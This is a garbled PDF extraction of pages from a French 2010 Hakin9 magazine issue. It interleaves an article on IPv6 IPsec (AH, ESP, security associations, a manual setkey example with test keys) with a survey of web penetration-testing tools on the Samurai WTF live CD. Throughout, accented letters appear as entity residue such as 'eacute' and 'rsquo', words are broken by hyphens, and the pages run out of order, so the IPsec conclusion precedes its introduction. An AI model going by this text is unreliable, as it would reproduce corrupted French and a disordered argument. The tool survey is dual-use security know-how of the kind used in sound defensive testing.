Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 32: hakin9_05_2010_FR

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

